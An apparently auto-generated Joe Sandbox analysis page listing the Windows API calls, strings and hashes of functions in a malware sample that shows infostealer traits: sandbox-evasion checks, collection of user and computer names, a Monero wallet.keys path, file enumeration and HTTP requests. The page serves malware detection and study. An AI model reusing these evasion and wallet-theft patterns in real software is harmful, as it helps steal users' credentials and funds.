Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$e
API String ID: 1544550907-2952404552
Opcode ID: 032051f235db6f256f823d9b58d1d31bd27afd526100487f3115580b01e81505
Instruction ID: bd2e4027d3fdf14889e7df7ee459a239612782af301032089ee2fdcd09042968
Opcode Fuzzy Hash: 032051f235db6f256f823d9b58d1d31bd27afd526100487f3115580b01e81505
Instruction Fuzzy Hash: 4141B3B1D04248ABDF14DF94DC45BEEBBB9FF48704F100098F50967280DB74AA84CBA5

Function 006469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443018), ref: 006498A1
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443210), ref: 006498BA
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443138), ref: 006498D2
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443180), ref: 006498EA
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443270), ref: 00649903
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01449F18), ref: 0064991B
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01435870), ref: 00649933
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01435810), ref: 0064994C
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443240), ref: 00649964
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443078), ref: 0064997C
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,014431F8), ref: 00649995
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443288), ref: 006499AD
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,014358F0), ref: 006499C5
Part of subcall function 00649860: GetProcAddress.KERNEL32(74DD0000,01443258), ref: 006499DE

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 006311D0: ExitProcess.KERNEL32 ref: 00631211

Part of subcall function 00631160: GetSystemInfo.KERNEL32(?), ref: 0063116A
Part of subcall function 00631160: ExitProcess.KERNEL32 ref: 0063117E

Part of subcall function 00631110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0063112B
Part of subcall function 00631110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00631132
Part of subcall function 00631110: ExitProcess.KERNEL32 ref: 00631143

Part of subcall function 00631220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0063123E
Part of subcall function 00631220: ExitProcess.KERNEL32 ref: 00631294

Part of subcall function 00646770: GetUserDefaultLangID.KERNEL32 ref: 00646774

Part of subcall function 00631190: ExitProcess.KERNEL32 ref: 006311C6

Part of subcall function 00647850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006311B7), ref: 00647880
Part of subcall function 00647850: RtlAllocateHeap.NTDLL(00000000), ref: 00647887
Part of subcall function 00647850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0064789F

Part of subcall function 006478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647910
Part of subcall function 006478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00647917
Part of subcall function 006478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0064792F

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01449FF8,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00646AE8
CloseHandle.KERNEL32(00000000), ref: 00646AF9
Sleep.KERNEL32(00001770), ref: 00646B04
CloseHandle.KERNEL32(?,00000000,?,01449FF8,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646B1A
ExitProcess.KERNEL32 ref: 00646B22

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 0b0f29a3cba93b4dda9abcb2868a1f9ee60ad200434961c60dff8a0768fcbf71
Instruction ID: 642132a5522d98f75549f7b69b1fcc1b0b5133c5e1fb9b3e279fd33db5df4d2d
Opcode Fuzzy Hash: 0b0f29a3cba93b4dda9abcb2868a1f9ee60ad200434961c60dff8a0768fcbf71
Instruction Fuzzy Hash: C1313E70950208BAEB88FBF0DC56BEE777AFF45341F00452CF612A6182DF706945C6AA

Function 00646AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01449FF8,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00646AE8
CloseHandle.KERNEL32(00000000), ref: 00646AF9
Sleep.KERNEL32(00001770), ref: 00646B04
CloseHandle.KERNEL32(?,00000000,?,01449FF8,?,0065110C,?,00000000,?,00651110,?,00000000,00650AEF), ref: 00646B1A
ExitProcess.KERNEL32 ref: 00646B22

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0b6839cd838540379814cdca721a947a1fa9f9a1fbdccc6908a1dd3fac21484d
Instruction ID: d94f6813d9c13335d700c66343b028fed51d154367f7af6f379548ef9aa0bfbf
Opcode Fuzzy Hash: 0b6839cd838540379814cdca721a947a1fa9f9a1fbdccc6908a1dd3fac21484d
Instruction Fuzzy Hash: 4CF08270940219AFE744ABA0DD0ABBD7B76FB06741F104918F917E11C5CBB095C1D65B

Function 006347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00634839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Strings

<, xrefs: 006347C9

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 70e56e34d2ae5eb7ef186829bd9242aae4cfe7b4517206bd26cca5934005a942
Instruction ID: 073af1ffb82c87a59747e5c72b85a78916442072522f46e010611d705c0d039f
Opcode Fuzzy Hash: 70e56e34d2ae5eb7ef186829bd9242aae4cfe7b4517206bd26cca5934005a942
Instruction Fuzzy Hash: D4214FB1D00209ABDF14DFA4E849ADE7B75FB45320F108629F959A72C1EB706A05CF91

Function 006451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 00636280: InternetOpenA.WININET(00650DFE,00000001,00000000,00000000,00000000), ref: 006362E1
Part of subcall function 00636280: StrCmpCA.SHLWAPI(?,014507B0), ref: 00636303
Part of subcall function 00636280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00636335
Part of subcall function 00636280: HttpOpenRequestA.WININET(00000000,GET,?,0144FDD8,00000000,00000000,00400100,00000000), ref: 00636385
Part of subcall function 00636280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006363BF
Part of subcall function 00636280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006363D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645228

Strings

ERROR, xrefs: 00645273
ERROR, xrefs: 0064521A

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: a8cbbbe75b5aa28209f03748a8a0082563c962dfbc2ea9d74baae12eea975f0b
Instruction ID: 194d91e7e95756fc04db195895eb024eccf5e7e49ca5fd4ec4a29b632f22944a
Opcode Fuzzy Hash: a8cbbbe75b5aa28209f03748a8a0082563c962dfbc2ea9d74baae12eea975f0b
Instruction Fuzzy Hash: 56113070940108BBEB54FFA0DD52AED733AAF50300F40415CF80B5B192EF30AB06CA96

Function 00631220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0063123E
ExitProcess.KERNEL32 ref: 00631294

Strings

@, xrefs: 00631233

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: e6efc889250bf0446aa6d6da79016c823cacdb82793a996f90123a99e764e676
Instruction ID: 31be10a428f8c3da4e0bbdab57138cc94904222b5643c2e75d75ebcf53ea1eba
Opcode Fuzzy Hash: e6efc889250bf0446aa6d6da79016c823cacdb82793a996f90123a99e764e676
Instruction Fuzzy Hash: 8B016DB0D40308BBEB10EFE4CC49B9EBB79BB05705F208048E705BA2C0D77496818799

Function 006478E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647910
RtlAllocateHeap.NTDLL(00000000), ref: 00647917
GetComputerNameA.KERNEL32(?,00000104), ref: 0064792F

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 146b9d1de7a662fac774fffb2466d1f246fb8f30d0ca147b4ac50b2ed45349e4
Instruction ID: 26f6423adcf6c13931ab103fc01a025f39d1406d7a446d085441aba92105c059
Opcode Fuzzy Hash: 146b9d1de7a662fac774fffb2466d1f246fb8f30d0ca147b4ac50b2ed45349e4
Instruction Fuzzy Hash: E601A9B1A04204EFC704DF94DD49BAEBBB8F744B11F104269F955E3380D37559448BA2

Function 00631110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0063112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00631132
ExitProcess.KERNEL32 ref: 00631143

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 8bf967c960280b3cb5e82ee4dce58125627cddd10621414ba9ae34fea34e7d66
Instruction ID: e2d0fd1d63822dedb263ec93f2cb139557207337dda9a7ea30426b4e18d0f8cc
Opcode Fuzzy Hash: 8bf967c960280b3cb5e82ee4dce58125627cddd10621414ba9ae34fea34e7d66
Instruction Fuzzy Hash: CCE0867094930CFBE7146BA09C0EB4C7678BB44B02F100054F70C7A1C0CAB4664096DA

Function 006310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006310F7

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d4c93c9ac242acb7bcbecb17fe41fd71942f32ab8b0fa9ba5ad907ab312229a0
Instruction ID: 85f7e79a9edbc622cdae34578567b57dc8c7e58173d5d4e30bb28ba196c427fb
Opcode Fuzzy Hash: d4c93c9ac242acb7bcbecb17fe41fd71942f32ab8b0fa9ba5ad907ab312229a0
Instruction Fuzzy Hash: D3F0E971641204BBE71896A49C49FAEB7DCE705715F300448F504E7380D5719E40CAA5

Function 00631190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647910
Part of subcall function 006478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00647917
Part of subcall function 006478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0064792F

Part of subcall function 00647850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006311B7), ref: 00647880
Part of subcall function 00647850: RtlAllocateHeap.NTDLL(00000000), ref: 00647887
Part of subcall function 00647850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0064789F

ExitProcess.KERNEL32 ref: 006311C6

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 5723f00d89809ec2d1b5c45e251cb893b6c337da0b068ea312a5af753442e6b4
Instruction ID: 992641a11506c99b4263cc70047e416f75431bbefb6d33f3efd5eeb3670a0436
Opcode Fuzzy Hash: 5723f00d89809ec2d1b5c45e251cb893b6c337da0b068ea312a5af753442e6b4
Instruction Fuzzy Hash: 77E012B5D143055BCB4477F0BC0EB6E329E6B55746F04083CFA09D7602FA65E84086AE

Non-executed Functions

Function 006438B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006438CC
FindFirstFileA.KERNEL32(?,?), ref: 006438E3
lstrcat.KERNEL32(?,?), ref: 00643935
StrCmpCA.SHLWAPI(?,00650F70), ref: 00643947
StrCmpCA.SHLWAPI(?,00650F74), ref: 0064395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00643C67
FindClose.KERNEL32(000000FF), ref: 00643C7C

Strings

%s\*, xrefs: 006438C0
%s\%s, xrefs: 0064397A
%s\%s\%s, xrefs: 00643A4A
%s%s, xrefs: 00643AAD
%s\%s, xrefs: 00643A6F

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
